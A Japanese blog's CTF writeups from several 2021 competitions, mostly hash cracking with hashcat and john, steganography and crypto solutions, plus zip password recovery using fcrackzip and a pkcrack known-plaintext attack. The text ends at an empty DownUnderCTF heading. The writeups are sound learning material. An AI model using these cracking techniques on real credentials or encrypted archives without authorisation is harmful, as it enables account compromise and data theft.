Digital Overdose 2021 Autumn CTF Writeup

この大会は2021/10/9 7:00(JST)~2021/10/11 7:00(JST)に開催されました。
今回もチームで参戦。結果は4736点で511チーム中14位でした。
自分で解けた問題をWriteupとして書いておきます。

Hash 4 (Hash Cracking 100)

いろいろ試した結果、GOSTハッシュとしてクラックできた。

>hashcat.exe -m 6900 hash.txt rockyou.txt
hashcat (v6.2.4) starting

OpenCL API (OpenCL 3.0 ) - Platform #1 [Intel(R) Corporation]
=============================================================
* Device #1: Intel(R) UHD Graphics 630, 3200/6484 MB (1621 MB allocatable), 24MCU

./OpenCL/m06900_a0-optimized.cl: Pure kernel not found, falling back to optimized kernel
Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 32

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Optimized-Kernel
* Zero-Byte
* Not-Iterated
* Single-Hash
* Single-Salt

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 1475 MB

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

451716a045ca5ec7f25e191ab5244c61aaeeb008c4753a2065e276f1baba4723:happyfamily

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 6900 (GOST R 34.11-94)
Hash.Target......: 451716a045ca5ec7f25e191ab5244c61aaeeb008c4753a2065e...ba4723
Time.Started.....: Sun Oct 10 08:04:54 2021 (1 sec)
Time.Estimated...: Sun Oct 10 08:04:55 2021 (0 secs)
Kernel.Feature...: Optimized Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:    32423 H/s (6.74ms) @ Accel:4 Loops:1 Thr:64 Vec:4
Recovered........: 1/1 (100.00%) Digests
Progress.........: 36865/14344384 (0.26%)
Rejected.........: 1/36865 (0.00%)
Restore.Point....: 30721/14344384 (0.21%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:0-1
Candidate.Engine.: Device Generator
Candidates.#1....: zippy1 -> hockey5

Started: Sun Oct 10 08:02:33 2021
Stopped: Sun Oct 10 08:04:57 2021
DO{happyfamily}

Hash 5 (Hash Cracking 100)

形式から推測すると、bcryptハッシュ。passwordファイルとshadowファイルを結合した形式で、ハッシュを埋め込み、johnでクラックする。

$ cat hash.txt
ctf:$2a$10$QlR/ZlXgQPWfx9JmRffMZutcL3o3w6JAiRbfvGda4u09lrfOvgcH6:1000:1000:ctf,,,:/home/ctf:/bin/bash
$ john --wordlist=dict/rockyou.txt hash.txt
Using default input encoding: UTF-8
Loaded 1 password hash (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
cowabunga        (ctf)
1g 0:01:14:30 DONE (2021-10-10 10:04) 0.000223g/s 11.75p/s 11.75c/s 11.75C/s cowboys08..cleaner
Use the "--show" option to display all of the cracked passwords reliably
Session completed
DO{cowabunga}

Hash 6 (Hash Cracking 100)

passwordファイルとshadowファイルを結合した形式で、ハッシュを埋め込み、johnでクラックする。

$ cat hash.txt
ctf:$1$veryrand$QetWu27IoJ2FFSG30xKAQ.:1000:1000:ctf,,,:/home/ctf:/bin/bash
$ john --wordlist=dict/rockyou.txt hash.txt
Warning: detected hash type "md5crypt", but the string is also recognized as "md5crypt-long"
Use the "--format=md5crypt-long" option to force loading these as that type instead
Using default input encoding: UTF-8
Loaded 1 password hash (md5crypt, crypt(3) $1$ (and variants) [MD5 256/256 AVX2 8x3])
Will run 2 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
scottiebanks     (ctf)
1g 0:00:05:59 DONE (2021-10-10 08:33) 0.002779g/s 10830p/s 10830c/s 10830C/s scottishdance..scotticus1
Use the "--show" option to display all of the cracked passwords reliably
Session completed
DO{scottiebanks}

Hash 7 (Hash Cracking 100)

sha512crypt $6$, SHA512 (Unix) としてクラックする。

>hashcat.exe -m 1800 hash.txt rockyou.txt
hashcat (v6.2.4) starting

OpenCL API (OpenCL 3.0 ) - Platform #1 [Intel(R) Corporation]
=============================================================
* Device #1: Intel(R) UHD Graphics 630, 3200/6484 MB (1621 MB allocatable), 24MCU

Minimum password length supported by kernel: 0
Maximum password length supported by kernel: 256

Hashes: 1 digests; 1 unique digests, 1 unique salts
Bitmaps: 16 bits, 65536 entries, 0x0000ffff mask, 262144 bytes, 5/13 rotates
Rules: 1

Optimizers applied:
* Zero-Byte
* Single-Hash
* Single-Salt
* Uses-64-Bit

ATTENTION! Pure (unoptimized) backend kernels selected.
Pure kernels can crack longer passwords, but drastically reduce performance.
If you want to switch to optimized kernels, append -O to your commandline.
See the above message to find out about the exact limits.

Watchdog: Hardware monitoring interface not found on your system.
Watchdog: Temperature abort trigger disabled.

Host memory required for this attack: 268 MB

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

$6$veryrandomsalt$t8EIWEiDpWYzeC1c44q7f6ZENOuO2wagnrJBPs4d/PptWxAxlnH7qRcf0xnKagaOEHBN9dGBV5Y1syJSB3s6H1:igetmoney

Session..........: hashcat
Status...........: Cracked
Hash.Mode........: 1800 (sha512crypt $6$, SHA512 (Unix))
Hash.Target......: $6$veryrandomsalt$t8EIWEiDpWYzeC1c44q7f6ZENOuO2wagn...B3s6H1
Time.Started.....: Sun Oct 10 08:43:30 2021 (32 secs)
Time.Estimated...: Sun Oct 10 08:44:02 2021 (0 secs)
Kernel.Feature...: Pure Kernel
Guess.Base.......: File (rockyou.txt)
Guess.Queue......: 1/1 (100.00%)
Speed.#1.........:     1032 H/s (6.01ms) @ Accel:16 Loops:16 Thr:128 Vec:1
Recovered........: 1/1 (100.00%) Digests
Progress.........: 32768/14344384 (0.23%)
Rejected.........: 0/32768 (0.00%)
Restore.Point....: 30720/14344384 (0.21%)
Restore.Sub.#1...: Salt:0 Amplifier:0-1 Iteration:4992-5000
Candidate.Engine.: Device Generator
Candidates.#1....: zombies -> dyesebel

Started: Sun Oct 10 08:42:43 2021
Stopped: Sun Oct 10 08:44:04 2021
DO{igetmoney}

Dyms, Syms, and Tabs (Reverse 100)

バイナリのソースコードのファイル名を拡張子抜きで答える問題。

$ strings chall | grep "\.c"
.so.cachH3P
.so.cachH3J
../csu/libc-start.c
cxa_atexit.c
vfprintf-internal.c
wfileops.c
iofwide.c
strops.c
malloc.c
arena.c
../sysdeps/x86/cacheinfo.c
wcrtomb.c
wcsrtombs.c
mbsrtowcs_l.c
../sysdeps/unix/sysv/linux/getcwd.c
../sysdeps/unix/sysv/linux/getpagesize.c
../sysdeps/unix/sysv/linux/getsysstats.c
../elf/dl-tls.c
glibc.cpu.x86_shstk
glibc.cpu.hwcap_mask
glibc.cpu.x86_ibt
glibc.cpu.hwcaps
glibc.cpu.x86_data_cache_size
glibc.malloc.check
glibc.cpu.x86_shared_cache_size
glibc.cpu.x86_non_temporal_threshold
gconv.c
gconv_db.c
gconv_conf.c
gconv_builtin.c
../iconv/skeleton.c
gconv_simple.c
../iconv/loop.c
/usr/lib/x86_64-linux-gnu/gconv/gconv-modules.cache
gconv_dl.c
findlocale.c
loadlocale.c
loadarchive.c
../stdio-common/printf_fphex.c
dl-load.c
dl-lookup.c
dl-hwcaps.c
dl-misc.c
../sysdeps/unix/sysv/linux/dl-origin.c
/etc/ld.so.cache
glibc-ld.so.cache1.1
dl-cache.c
../elf/dl-runtime.c
dl-open.c
dl-close.c
dl-deps.c
dl-version.c
__assert_fail_base.cold
_nl_load_domain.cold
_IO_new_fclose.cold
_IO_fflush.cold
_IO_puts.cold
_IO_wfile_underflow.cold
_IO_new_file_underflow.cold
__printf_fp_l.cold
__printf_fphex.cold
_IO_fputs.cold
_IO_fwrite.cold
_IO_getdelim.cold
uw_install_context_1.cold
read_encoded_value.cold
execute_stack_op.cold
uw_update_context_1.cold
execute_cfa_program.cold
uw_frame_state_for.cold
uw_init_context_1.cold
_Unwind_RaiseException_Phase2.cold
_Unwind_ForcedUnwind_Phase2.cold
_Unwind_GetGR.cold
_Unwind_SetGR.cold
_Unwind_RaiseException.cold
_Unwind_Resume.cold
_Unwind_Resume_or_Rethrow.cold
_Unwind_Backtrace.cold
read_encoded_value_with_base.cold
classify_object_over_fdes.cold
fde_single_encoding_compare.cold
fde_mixed_encoding_compare.cold
add_fdes.cold
linear_search_fdes.cold
_Unwind_IteratePhdrCallback.cold
search_object.cold
_Unwind_Find_FDE.cold
base_of_encoded_value.cold
__gcc_personality_v0.cold
intel_check_word.constprop.0
handle_intel.constprop.0
crtstuff.c
u_f0unD_dA_f1a4y4Y.c★
get_common_indices.constprop.0
get_extended_indices.constprop.0
systrim.constprop.0
unlink_chunk.constprop.0
add_module.constprop.0
find_module.constprop.0
lose.constprop.0
open_verify.constprop.0
add_path.constprop.0.isra.0
_dl_map_object_from_fd.constprop.0
.comment

怪しい文字列のソースコード発見。

DO{u_f0unD_dA_f1a4y4Y}

Setup: Files (Cloud Forensics 1)

問題にフラグが書いてあった。

DO{1_C4N_H4Z_CL0UD}

A door by any other name (Steganography 100)

Steganographyのページに「The cake is a lie」と書いてあるが、コピーすると、空白文字が入っていることがわかる。ASCII文字の間の空白文字の数をASCIIコードとしてデコードする。

with open('enc', 'rb') as f:
    data = f.read()

codes = []
count = 0
i = 0
while True:
    if data[i] == '\xe2':
        if data[i:i+3] == '\xe2\x80\x8b':
            count += 1
            i += 3
    else:
        codes.append(count)
        count = 0
        i += 1
    if i == len(data):
        break

flag = ''
for code in codes[1:]:
    flag += chr(code)
print flag
DO{1$_1NV1$1BL3}

A cornucopia of numbers (Steganography 75)

二進数コードが並んでいるので、デコードする。base64文字列になるのでデコードすると、フラグになった。

with open('Bin.txt', 'r') as f:
    codes = f.read().split(' ')

b64 = ''
for code in codes:
    b64 += chr(int(code, 2))

flag = b64.decode('base64')
print flag
DO{C0nVeR510n_m4Dn355}

Queen's gambit (Steganography 100)

$ exiftool Freddie_Mercury.png 
ExifTool Version Number         : 10.80
File Name                       : Freddie_Mercury.png
Directory                       : .
File Size                       : 457 kB
File Modification Date/Time     : 2021:10:09 11:02:37+09:00
File Access Date/Time           : 2021:10:09 11:04:51+09:00
File Inode Change Date/Time     : 2021:10:09 11:02:37+09:00
File Permissions                : rwxrwxrwx
File Type                       : PNG
File Type Extension             : png
MIME Type                       : image/png
Image Width                     : 562
Image Height                    : 787
Bit Depth                       : 8
Color Type                      : RGB
Compression                     : Deflate/Inflate
Filter                          : Adaptive
Interlace                       : Noninterlaced
Author                          : RE97VzNfYVIzX3RoM19DaDRtUDEwblN9
Image Size                      : 562x787
Megapixels                      : 0.442

Authorにbase64文字列らしきものがあるので、デコードする。

$ echo RE97VzNfYVIzX3RoM19DaDRtUDEwblN9 | base64 -d
DO{W3_aR3_th3_Ch4mP10nS}
DO{W3_aR3_th3_Ch4mP10nS}

The Detective(Steganography 75)

$ strings Pika.jpeg | grep DO{
DO{H1d1nG_iN_Pl41n_SiGhT}
DO{H1d1nG_iN_Pl41n_SiGhT}

Not exactly Nestene's Autons (125)

Stegsolveで開き、Red plane 0を見たら、フラグが現れた。
f:id:satou-y:20211012074219p:plain

DO{B1t5_0n_4_p14N3}

Phreak File (Steganography 100)

$ file phreak_file.bmp 
phreak_file.bmp: RIFF (little-endian) data, WAVE audio, Microsoft PCM, 16 bit, stereo 44100 Hz
$ mv phreak_file.bmp phreak_file.wav

Audacityで開くと、DTMFトーンが入っていることがわかる。
f:id:satou-y:20211012075012p:plain
https://unframework.github.io/dtmf-detect/で番号を取得する。

2 222 222 33 7777 7777 6 9999 333 444 555 33 7777

ガラケーキーパッド入力として文字に起こす。

ACCESSMZFILES
DO{ACCESSMZFILES}

All around the word (Cryptography 75)

国旗が並んでいるので、該当する国名を調べてみる。

1: Grenada
2: Eswatini
3: Oman
4: Grenada
5: Rwanda
6: Antigua and Barbuda
7: Palau
8: HOLY SEE
9: Yemen

この国名の頭文字を並べればよい。

DO{GEOGRAPHY}

Constant Primes (Cryptography 75)

RSA暗号秘密鍵がわかっているので、そのまま復号する。

#!/usr/bin/python3
from Crypto.PublicKey import RSA

with open('id_rsa', 'r') as f:
    priv_data = f.read()

c = 0x2085f3d3573cd709fad84bed9fe8dde419fb7c8e96aa95ec4651a3bc07b5552f321e03404943744d931a4a51a817cf190880a5efbf94aa828c45da5b31dcdefc

privkey = RSA.importKey(priv_data)
n = privkey.n
d = privkey.d

m = pow(c, d, n)
flag = m.to_bytes(m.bit_length() // 8 + 1, 'little').decode()
print(flag)
DO{RSA_1s_n0t_that_hard}

Rook to E4 (Cryptography 150)

各行でチェスの駒の位置を表しているようだ。https://lichess.org/analysis/standardで1行目を入力する。
f:id:satou-y:20211012075453p:plain
駒で"D"の文字を表している。同じように2行目以降を入力して文字を見ていく。

DO{CHESSISCOOL}

Carousel (Cryptography 50)

シーザー暗号。https://www.geocachingtoolbox.com/index.php?lang=en&page=caesarCipherで復号する。するとROT47で復号できた。

DO{r07473_m3}

Simply Cipher (Cryptography 60)

Vigenere暗号。https://www.guballa.de/vigenere-solverで復号する。

Today's flag is going to be CIPHER_AGAIN!
DO{CIPHER_AGAIN!}

SPbCTF's Student CTF 2021 Quals Writeup

この大会は2021/10/10 18:00(JST)~2021/10/11 3:00(JST)に開催されました。
今回もチームで参戦。結果は40点で246チーム中230位でした。
自分で解けた問題をWriteupとして書いておきます。

Cook Courier (OSINT, MEDIUM)

クッキー写真のサンプルセットを公開した人のメールアドレスを答える必要がある。問題のサイトhttp://freecookiesforeverybody.xyz/index.phpには以下のリンクがある。

https://drive.google.com/file/d/1iPW27qSrh03LQZkpBoGi3l3JQtUxHHVZ/view

このGoogleドライブの詳細情報を見る。オーナーがTodd Woodsだとわかり、マウスカーソルを当てるとメールアドレスがわかる。

spbctf{woodstodd595@gmail.com}

Overflow To Fall Writeup

この大会は2021/10/2 7:00(JST)~2021/10/4 7:00(JST)に開催されました。
今回もチームで参戦。結果は4154点で18チーム中4位でした。
自分で解けた問題をWriteupとして書いておきます。

Scrambled JPEGs (Algorithms)

以下の処理が指示されている。

5バイトを1ブロックとして処理をする。
・0 1 2 3 4 -> 4 2 3 1 0という順序に変える。
・偶数ブロックと奇数ブロックを逆にする。
・偶数ブロックは右に2バイトシフト、奇数ブロックは左に1バイトシフト

上記のロジックから逆の処理を行い、復号する。

with open('scrambled.jpg', 'rb') as f:
    enc = f.read()

blocks = [enc[i:i+5] for i in range(0, len(enc), 5)]

for i in range(len(blocks)):
    b = blocks[i]
    if i % 2 == 0:
        blocks[i] = b[2:] + b[:2]
    else:
        blocks[i] = b[-1:] + b[:-1]

for i in range(0, len(blocks), 2):
    blocks[i], blocks[i+1] = blocks[i+1], blocks[i]

for i in range(len(blocks)):
    b = blocks[i]
    blocks[i] = b[4] + b[3] + b[1] + b[2] + b[0]

dec = ''.join(blocks)

with open('flag.jpg', 'wb') as f:
    f.write(dec)

f:id:satou-y:20211006075027j:plain

O2F{0v3r_345y_3gg5}

Fibbo Frenzy (Algorithms)

1000番目までのフィボナッチ数列素数判定し、素数の合計を求める。

from Crypto.Util.number import *

fibs = [0, 1]
for i in range(2, 1001):
    v = fibs[i-1] + fibs[i-2]
    fibs.append(v)

sum = 0
for f in fibs:
    if isPrime(f):
        sum += f

print sum

実行結果は以下の通り。

132725674935014129884681801561570257444232919795125324970917377000488365086871380952521159138505357911319846367559249240
O2F{132725674935014129884681801561570257444232919795125324970917377000488365086871380952521159138505357911319846367559249240}

Barred for life! (OSINT)

バーコードの画像から対応する製品に関する質問に答えていく。バーコードのナンバーは885909918188。885909918188を調べると、以下のページなどで情報を確認できる。

https://www.upcitemdb.com/upc/885909918188
https://www.buycott.com/upc/885909918188

上記のサイトなどでこのような情報が得られる。

UPC 885909918188 is associated with Apple MacBook Pro 13" Retina Display MF840LLA Intel Core i5 2.7GHz 8GB 256GB SSD

Model #:MF840LL/A

Apple MacBook Pro A1502 13.3" Laptop - MF840LL/A (March, 2015)

モデルナンバーは?

O2F{MF840LL/A}

バイスは?(Manufacturer + Modelという形式)

O2F{Apple MacBook Pro}

バイスのドライブ容量は?

O2F{256 GB}

製造された年は?

O2F{2015}

Password Cracking Easy (Password)

md5の値が与えられているので、CrackStationでクラックする。

#dare2stealmapassword#

School is cool! (Rev)

各文字のASCIIコードで199とXORしたものと比較しているので、そのことを前提に復号する。

vals = [159, 168, 181, 152, 178, 152, 245, 152, 164, 247, 247, 171, 152, 243,
    152, 189, 164, 175, 247, 168, 246]

flag = ''
for val in vals:
    flag += chr(val ^ 199)
print flag

復号結果は以下の通り。

Xor_u_2_c00l_4_zch0o1
O2F{Xor_u_2_c00l_4_zch0o1}

Bashing My Head In (Rev)

.bash_historyとパスワード付きzip、パスワード生成スクリプトが添付されている。スクリプトを見ると、passwordは時刻から導き出したseedを元に生成している。.bash_historyからpasswordgen.pyを実行した時刻がわかる。seedの可能性があるのは10**5個あるので、そこからパスワードのリストを作成する。

#!/usr/bin/python3
from datetime import datetime

class Random:
    def __init__(self, seed=None):
        if seed is None:
            self.seed = round(int(time.time() * (10 ** 5)))
        else:
            try:
                self.seed = int(seed)
            except ValueError:
                raise ValueError("Please use a valid integer for the seed.")
        self.next_seed = 0

    def __generatePercentage(self):
        a = 1664525
        c = 1013904223
        m = 2 ** 32

        if self.next_seed == 0:
            next_seed = (self.seed * a + c) % m
        else:
            next_seed = (self.next_seed * a + c) % m
        self.next_seed = next_seed
        randomPercentage = next_seed / m

        return randomPercentage

    def choice(self, index):
        randomIndex = round((self.__generatePercentage() * (len(index) - 1)))
        randomChoice = index[randomIndex]

        return randomChoice

tstr = '2021-09-24 18:35:20 -0400'
t = datetime.strptime(tstr, '%Y-%m-%d %H:%M:%S %z')
min_seed = int(t.timestamp() * (10 ** 5))
max_seed = min_seed + 10 ** 5

alphabet = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ1234567890?!@#$%^&*()"
for seed in range(min_seed, max_seed):
    rand = Random(seed)
    print(''.join([rand.choice(alphabet) for i in range(16)]))
$ python3 solve.py > password.lst

作成したパスワードのリストを使って、zipパスワードのクラックをする。

$ fcrackzip -u -D -p password.lst data.zip 


PASSWORD FOUND!!!!: pw == zPd9GoG?ECOho71&
$ unzip -P "zPd9GoG?ECOho71&" data.zip
Archive:  data.zip
 extracting: flag.txt
$ cat flag.txt
O2F{t1m3_w0und5_4ll_h33l5}
O2F{t1m3_w0und5_4ll_h33l5}

Shake that AES for me! (Rev)

スクリプトの処理概要は以下の通り。

・AES鍵:'H@ck3rMan__kN0ws'
・flag1:入力
・AES_flag1_cipher:AES-ECBでflag1を暗号化
 →'\x19\xe3\xc9\xa8\xf2\x05\xdaX\x90aP~\xe2L\xbeY'と一致していたら次のパート
・msg_input: 入力(hex)
・msg: msg_inputの0x付きの16進数文字列
・msg: 10bit左シフト(一番左のビットは一番右へ移動)
・msg: 3bit右シフト(一番右のビットは一番左へ移動)
 →"b92faa3419b6afa0363619"と一致していたら、入力文字からフラグを構成される。

最初のパートは、AES鍵がわかっているので、そのまま復号する。次のパートは7bit左シフトしているのと同じため、7bit右シフトして復号する。

#!/usr/bin/python3
from Crypto.Cipher import AES
import bitstring

def Mathers(i, msg):
    msg.ror(1)
    return msg

flag1_enc = b'\x19\xe3\xc9\xa8\xf2\x05\xdaX\x90aP~\xe2L\xbeY'
AES_key = b'H@ck3rMan__kN0ws'
flag1_cipher = AES.new(AES_key, AES.MODE_ECB)
flag1 = flag1_cipher.decrypt(flag1_enc).decode()
print('[+] flag1: ' + flag1)

msg_enc = 'b92faa3419b6afa0363619'
msg = bitstring.BitArray(hex='0x' + msg_enc)
for i in range(7):
    msg = Mathers(i, msg)
flag2 = bytes.fromhex(str(msg).lstrip('0x')).decode()
print('[+] flag2: ' + flag2)

flag = 'O2F{%s%s}' % (flag1, flag2)
print('[*] flag : ' + flag)

実行結果は以下の通り。

[+] flag1: DiViD3_@nD_C0nQu
[+] flag2: 3r_Th3m_@ll
[*] flag : O2F{DiViD3_@nD_C0nQu3r_Th3m_@ll}
O2F{DiViD3_@nD_C0nQu3r_Th3m_@ll}

Dare To Be Stupid (Forensics-Analytics)

$ file diputsebote.rad.1
diputsebote.rad.1: dar archive, label "44024461 00000000 8302"

darファイルが16個入っている。ファイル名をすべて以下のように修正する。

diputsebote.rad.1 -> diputsebote.1.dar
$ sudo dar -x diputsebote
The format version of the archive is too high for that software version, try reading anyway? [return = YES | Esc = NO]
Continuing...


 --------------------------------------------
 5 inode(s) restored
    including 0 hard link(s)
 0 inode(s) not restored (not saved in archive)
 0 inode(s) not restored (overwriting policy decision)
 0 inode(s) ignored (excluded by filters)
 0 inode(s) failed to restore (filesystem error)
 0 inode(s) deleted
 --------------------------------------------
 Total number of inode(s) considered: 5
 --------------------------------------------
 EA restored for 0 inode(s)
 FSA restored for 0 inode(s)
 --------------------------------------------

5個のjpgを復旧でき、そのうち4.jpgにフラグが書いてあった。
f:id:satou-y:20211006080820j:plain

O2F{h4rdw4re_5t0r3}

Reserved Words (Forensics-Analytics)

以前にも予約語を使った似たような問題があったので、そのときと同じようにperlで実行してみる。

$ mv "reserved words.txt" reserved_words.pl
$ perl reserved_words.pl 
The flag is: O2F{perl_is_fun!}
O2F{perl_is_fun!}

Forgotten Password (Crypt-Stego)

$ zipinfo memearchive.enc.zip 
Archive:  memearchive.enc.zip
Zip file size: 2634651 bytes, number of entries: 7
-rwxrwxrwx  3.0 unx    27356 BX defN 21-Sep-26 07:39 meme 3.jpg
-rwxrwxrwx  3.0 unx  1769703 BX defN 21-Sep-26 07:39 meme 6.gif
-rwxrwxrwx  3.0 unx    11517 BX defN 21-Sep-26 07:43 manananan 9.jpg
-rwxrwxrwx  3.0 unx    87495 BX defN 21-Sep-26 07:43 10.jpg
-rwxrwxrwx  3.0 unx   243780 BX defN 21-Sep-26 07:43 pain 11.png
-rwxrwxrwx  3.0 unx    32239 BX defN 21-Sep-26 07:41 mem8.jpg
-rwxrwxrwx  3.0 unx   497607 BX defN 21-Sep-26 07:46 license.jpg
7 files, 2669697 bytes uncompressed, 2633395 bytes compressed:  1.4%

$ unzip memearchive.zip
Archive:  memearchive.zip
  inflating: meme 1.png              
  inflating: meme 2.jpg              
  inflating: meme 4.jpg              
  inflating: mem 5.jpg               
  inflating: memq 7.png              
  inflating: mem8.jpg
$ ls -l mem8.jpg 
-rwxrwxrwx 1 root root 32239  926 07:41 mem8.jpg

memearchive.zipの方にもmem8.jpgがあり、ファイルサイズ的にも同じものと考えられる。pkcrackで既知平文攻撃をして、memearchive.enc.zipを復号する。

$ zip mem8.zip mem8.jpg
  adding: mem8.jpg (deflated 1%)
$ ./pkcrack-1.2.2/src/pkcrack -C memearchive.enc.zip -c mem8.jpg -p mem8.jpg -P mem8.zip -d decrypted.zip
Files read. Starting stage 1 on Sat Oct  2 10:59:09 2021
Generating 1st generation of possible key2_31846 values...done.
Found 4194304 possible key2-values.
Now we're trying to reduce these...
Lowest number: 943 values at offset 28081
Lowest number: 917 values at offset 28078
Done. Left with 917 possible Values. bestOffset is 28078.
Stage 1 completed. Starting stage 2 on Sat Oct  2 10:59:23 2021
Ta-daaaaa! key0=bdb07b3f, key1=1e0989cd, key2=b817b2f9
Probabilistic test succeeded for 3773 bytes.
Strange... had a false hit.
Strange... had a false hit.
Strange... had a false hit.
Strange... had a false hit.
Strange... had a false hit.
Strange... had a false hit.
Strange... had a false hit.
Strange... had a false hit.
Stage 2 completed. Starting zipdecrypt on Sat Oct  2 10:59:43 2021
Decrypting meme 3.jpg (df171296401a566b8aaeef94)... OK!
Decrypting meme 6.gif (ef4260c8d77febf550acfc94)... OK!
Decrypting manananan 9.jpg (bdb4659561cf0e6df9f66a95)... OK!
Decrypting 10.jpg (5f0fbabed5857871422e6d95)... OK!
Decrypting pain 11.png (80d170db68a6de6fdaf47a95)... OK!
Decrypting mem8.jpg (18bc5cccc97dc033b0903195)... OK!
Decrypting license.jpg (7573f47a29d6bd74c450c995)... OK!
Finished on Sat Oct  2 10:59:43 2021
$ unzip decrypted.zip 
Archive:  decrypted.zip
  inflating: meme 3.jpg              
  inflating: meme 6.gif              
  inflating: manananan 9.jpg         
  inflating: 10.jpg                  
  inflating: pain 11.png             
replace mem8.jpg? [y]es, [n]o, [A]ll, [N]one, [r]ename: y
  inflating: mem8.jpg                
  inflating: license.jpg

license.jpgにフラグが書いてあった。
f:id:satou-y:20211006081216j:plain

O2F{p141nt3xt_15_p41n}

Based (Crypt-Stego)

base64エンコードする。

from base64 import *

enc = '3b 61 7f fc 10 12 13 ae 04 34 23 83 10 3f ff'.split(' ')
enc = ''.join([chr(int(c, 16)) for c in enc])
flag = b64encode(enc)
print flag
O2F//BASE64ENCODED//

San Francisco (Crypt-Stego)

ルータのコンフィグファイルが添付されている。Ciscoのtype 7のパスワードと思われる記述がある。このパスワードをhttps://www.firewall.cx/cisco-technical-knowledgebase/cisco-routers/358-cisco-type7-password-crack.htmlでクラックする。

w34k_v1gn3re
O2F{w34k_v1gn3re}

TastelessCTF 2021 Writeup

この大会は2021/10/2 22:00(JST)~2021/10/3 22:00(JST)に開催されました。
今回もチームで参戦。結果は1点で162チーム中86位でした。
参加表明の問題しか解けませんでしたが、
自分で解けた問題をWriteupとして書いておきます。

Sanity (misc)

pow.pyが添付されているので、それを使って接続先のホスト名とポート番号を指定し、PoWをクリアする。

$ python pow.py hyper.tasteless.eu 10001
solving 78058bfb754c49d7 for prefix 00000
solved! 1473930
welcome to tasteless ctf 2021
tstlss{tchoo-tchoo-flag-train}*** Connection closed by remote host ***
tstlss{tchoo-tchoo-flag-train}

TSG CTF 2021 Writeup

この大会は2021/10/2 16:00(JST)~2021/10/3 16:00(JST)に開催されました。
今回もチームで参戦。結果は709点で775チーム中49位でした。
自分で解けた問題をWriteupとして書いておきます。

Sanity Check (Warmup)

Discordに入り、#readmeチャネルのメッセージを見ると、フラグが書いてあった。

TSGCTF{Tokyo2020_was_held_in_2021_so_TSGCTF2021_was_held_in_2020???}

Beginner's Crypto 2021 (Crypto)

暗号化のスクリプトが添付されている。

from secret import e
from Crypto.Util.number import getStrongPrime, isPrime

p = getStrongPrime(1024)
q = getStrongPrime(1024)
N = p * q
phi = (p - 1) * (q - 1)

with open('flag.txt', 'rb') as f:
    flag = int.from_bytes(f.read(), 'big')

assert(isPrime(e))
assert(isPrime(e + 2))
assert(isPrime(e + 4))

e1 = pow(e, 0x10001, phi)
e2 = pow(e + 2, 0x10001, phi)
e3 = pow(e + 4, 0x10001, phi)

c1 = pow(flag, e1, N)
c2 = pow(flag, e2, N)
c3 = pow(flag, e3, N)

print(f'p = {p}')
print(f'q = {q}')
print(f'c1 = {c1}')
print(f'c2 = {c2}')
print(f'c3 = {c3}')

以下の部分に注目する。

assert(isPrime(e))
assert(isPrime(e + 2))
assert(isPrime(e + 4))

e, e + 2, e + 4は必ずどれかが3の倍数。このため、すべてが素数になるのはe = 3しかない。あとはe1, e2を算出し、Common Modules Attackで復号できる。

#!/usr/bin/python3
import gmpy2
from Crypto.Util.number import *

def commom_modules_attack(c1, c2, e1, e2, n):
    gcd, s1, s2 = gmpy2.gcdext(e1, e2)
    if s1 < 0:
        s1 = -s1
        c1 = inverse(c1, n)
    elif s2 < 0:
        s2 = -s2
        c2 = inverse(c2, n)
 
    v = pow(c1, s1, n)
    w = pow(c2, s2, n)
    x = (v*w) % n
    return x

p = 167710954518007348037383082265231465648795974011761905177264545864288011527333715495850532989338171489309608848431113452814709692343039027970312735521415071265608660628968391884287240987858607818275329135585153511665148279408708087727501421558738163577629329044315775019460018956186674179846621352371150072281
q = 130354329753344570838569091064852072757046774566775609047544069941246798511317343102715733555464772099991834579660053860799207243561908291522943696711982657846373844514551117658179060004064010647453939332217996817580433587341521331941287365948919907797478197717562721233289937471168288241937022054501586986443
c1 = 2560344169447809042170685026483682125499025654554670516499742981486615082413150123244985585751880264831112089324011804397189638172356179296987581738515619297036118472798499254785110885662931526277474101787493114656242031264678448394380651657330967744585361662315313462698221954777506355498445242300193032704972074020068699180111637362566860530694807230108024167631423062629721393506643291591971626450262144814424411172618188943774725105690851574922374544865628890948773274109561622040022136970632948166009941425683576381155722191980954262373394704682297682490061906408535261437100820855976015526295573831744458528440
c2 = 9041231631916227099296501948589424780380702196870972231114747229225732542137483840187783630590878594711315671224997985975031038623195921968945234067183003568830416719957054703139219879265482072634572699299971785171441858501409377942183918216246312330291820452436486171483461790388518159980027140392750222843449604265528929311978655519463562520038992870162220913137870017065557254099767583925177889051326144499369420594398043223307161794788085369471538477803421726790780799629276012701406231535048423554314287152404245482928538931953627397633165453319078105028671410039195670727134471011040601278722143504641171853743

N = p * q
phi = (p - 1) * (q - 1)

e = 3
e1 = pow(e, 0x10001, phi)
e2 = pow(e + 2, 0x10001, phi)

m = commom_modules_attack(c1, c2, e1, e2, N)
flag = long_to_bytes(m).decode()
print(flag)
TSGCTF{You are intuitively understanding the distribution of prime numbers! Bonus: You can solve this challenge w/ N instead of p and q!}

Survey (Cooldown)

アンケートに答えたら、フラグが表示された。

TSGCTF{Thank_you_for_your_participation!}

DownUnderCTF 2021 Writeup

この大会は2021/9/24 18:00(JST)~2021/9/26 18:00(JST)に開催されました。
今回もチームで参戦。結果は4244点で1594チーム中56位でした。
自分で解けた問題をWriteupとして書いておきます。

Discord (misc)

